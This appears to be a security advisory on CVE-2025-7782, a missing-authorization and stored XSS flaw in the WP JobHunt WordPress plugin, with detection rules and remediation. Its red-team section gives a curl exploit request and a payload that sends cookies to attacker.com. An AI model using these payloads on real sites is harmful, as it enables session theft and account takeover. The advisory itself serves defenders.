CVE-2025-7782

Executive Summary

CVE-2025-7782 is a critical security vulnerability affecting the WP JobHunt plugin for WordPress, which is used by the JobCareer theme. The vulnerability resides in the cs_update_application_status_callback function, which is missing a capability check. This allows authenticated attackers with at least Candidate-level access to modify the status of job applications for any user. The attack vector is particularly dangerous because it enables the injection of stored cross-site scripting (XSS) into the status parameter of applied jobs.

This vulnerability is classified as a Missing Authorization issue (CWE-862) and has a CVSS score of 7.6 (High). The EPSS score is 0.0%, indicating low exploitation probability at this time, but the lack of a patch makes it a significant risk for all sites using the affected plugin version.

Supply Chain & Package Security

This vulnerability is specific to the WordPress ecosystem and the WP JobHunt plugin (part of the JobCareer theme). It is not a supply chain attack on the plugin itself, but rather a missing authorization check in the plugin's code. Administrators should verify the integrity of their plugin files and ensure no unauthorized modifications have been made.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): Low (L) – requires Candidate-level authentication
• User Interaction (UI): None (N)
• Scope (S): Unchanged (U)
• Confidentiality (C): Low (L) – XSS can leak session data
• Integrity (I): High (H) – attacker can modify application statuses
• Availability (A): Low (L) – XSS can disrupt user experience

CVSS Score: 7.6 (High)

Threat Level: High. The vulnerability allows authenticated attackers to inject XSS and modify application data. While exploitation requires authentication, the low privileges needed (Candidate-level) make it accessible to many users.

Deep Dive & Mechanics

The vulnerability is in the cs_update_application_status_callback function of the WP JobHunt plugin. This function is intended to allow authorized users (e.g., employers or administrators) to update the status of job applications. However, the function lacks a proper capability check, meaning any authenticated user with Candidate-level access can call it.

The function processes the status parameter without proper sanitization, allowing an attacker to inject malicious JavaScript code. When the application status is displayed to other users (e.g., employers or administrators), the injected script executes in their browsers, leading to stored XSS.

Attack Flow:

1. Attacker authenticates as a Candidate.
2. Attacker sends a POST request to the vulnerable AJAX endpoint with a crafted status parameter containing XSS payload.
3. The plugin updates the application status in the database.
4. When an employer or admin views the application, the XSS payload executes.
5. Attacker can steal cookies, session tokens, or perform actions on behalf of the victim.

Vulnerable vs. Patched Code

Vulnerable Code (WP JobHunt <= 7.7):

function cs_update_application_status_callback() {
    $application_id = $_POST['application_id'];
    $status = $_POST['status'];
    // Missing capability check
    update_post_meta($application_id, 'cs_application_status', $status);
    wp_die();
}
add_action('wp_ajax_cs_update_application_status', 'cs_update_application_status_callback');

Patched Code (Hypothetical):

function cs_update_application_status_callback() {
    // Add capability check
    if (!current_user_can('edit_post', $_POST['application_id'])) {
        wp_die('Unauthorized');
    }
    $application_id = intval($_POST['application_id']);
    $status = sanitize_text_field($_POST['status']);
    update_post_meta($application_id, 'cs_application_status', $status);
    wp_die();
}
add_action('wp_ajax_cs_update_application_status', 'cs_update_application_status_callback');

The patched version adds:

• A capability check using current_user_can() to ensure the user has permission to edit the application.
• Input sanitization using intval() and sanitize_text_field() to prevent XSS.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress site with WP JobHunt plugin <= 7.7
• Authenticated user with Candidate-level access
• Knowledge of an existing job application ID

Exploitation Steps:

1. Log in as a Candidate user.
2. Identify a target application ID (e.g., via directory enumeration or by applying to a job yourself).
3. Send a crafted POST request to the AJAX endpoint:

curl -X POST \
  -d "action=cs_update_application_status&application_id=123&status=<script>alert('XSS')</script>" \
  -b "wordpress_logged_in_<hash>=<cookie>" \
  http://target.com/wp-admin/admin-ajax.php

4. The XSS payload is stored in the application's status field.
5. When an employer or admin views the application, the script executes.

Advanced Payload:

<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>

Blue Team

Detection:

• Monitor AJAX requests to admin-ajax.php with action=cs_update_application_status.
• Look for unusual status parameters containing HTML or JavaScript.
• Check for rapid status changes on applications by non-admin users.

Hunting:

• Search the database for XSS patterns in cs_application_status meta values.
• Review server logs for POST requests to admin-ajax.php with suspicious payloads.

Lab Setup:

1. Install WordPress with the JobCareer theme and WP JobHunt plugin (version 7.7).
2. Create a Candidate user and an Employer user.
3. Apply for a job as the Candidate to generate an application.
4. Use the curl command above to test the vulnerability.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /wp-admin/admin-ajax.php with action=cs_update_application_status
  • status parameter containing <script> tags or base64-encoded JavaScript
• Host:
  • Modified cs_application_status meta values in the wp_postmeta table
  • Suspicious entries in wp_options or wp_usermeta related to the plugin
• Logs:
  • Repeated 200 responses to admin-ajax.php from the same user ID
  • Unusual user agents or IP addresses making AJAX requests

Detection Engineering

YARA Rule

rule CVE_2025_7782_WP_JobHunt_XSS {
    meta:
        description = "Detects XSS payloads in WP JobHunt plugin status parameter"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-7782"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /onerror\s*=\s*["']?[^"']*["']?/i
        $xss3 = /onload\s*=\s*["']?[^"']*["']?/i
        $ajax_action = "cs_update_application_status"
    condition:
        $ajax_action and ($xss1 or $xss2 or $xss3)
}

Sigma Rule

title: CVE-2025-7782 WP JobHunt XSS via AJAX
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects exploitation attempts of CVE-2025-7782 via AJAX requests
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri: "/wp-admin/admin-ajax.php"
        cs-params|contains: "action=cs_update_application_status"
    condition: selection
    fields:
        - c-ip
        - cs-uri-query
        - cs-user-agent
falsepositives:
    - Legitimate plugin usage by authorized users
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-7782 WP JobHunt XSS Exploit Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=cs_update_application_status"; http_client_body;
    pcre:"/(<script|onerror|onload)/i";
    sid:1000001;
    rev:1;
    reference:cve,2025-7782;
    classtype:web-application-attack;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the WP JobHunt plugin until a patch is available.
2. Restrict user registration to prevent new Candidate accounts.
3. Implement a Web Application Firewall (WAF) rule to block requests containing XSS patterns in the status parameter.

Long-term Fix:

• Apply the patched code as shown in the "Vulnerable vs. Patched Code" section.
• Monitor the vendor's website for an official patch.
• Conduct a security audit of all WordPress plugins and themes.

Workaround:

• Add a capability check via a custom plugin or theme functions.php:

add_action('wp_ajax_cs_update_application_status', function() {
    if (!current_user_can('edit_posts')) {
        wp_die('Unauthorized');
    }
}, 1);

Valters IT
Securing Digital Frontiers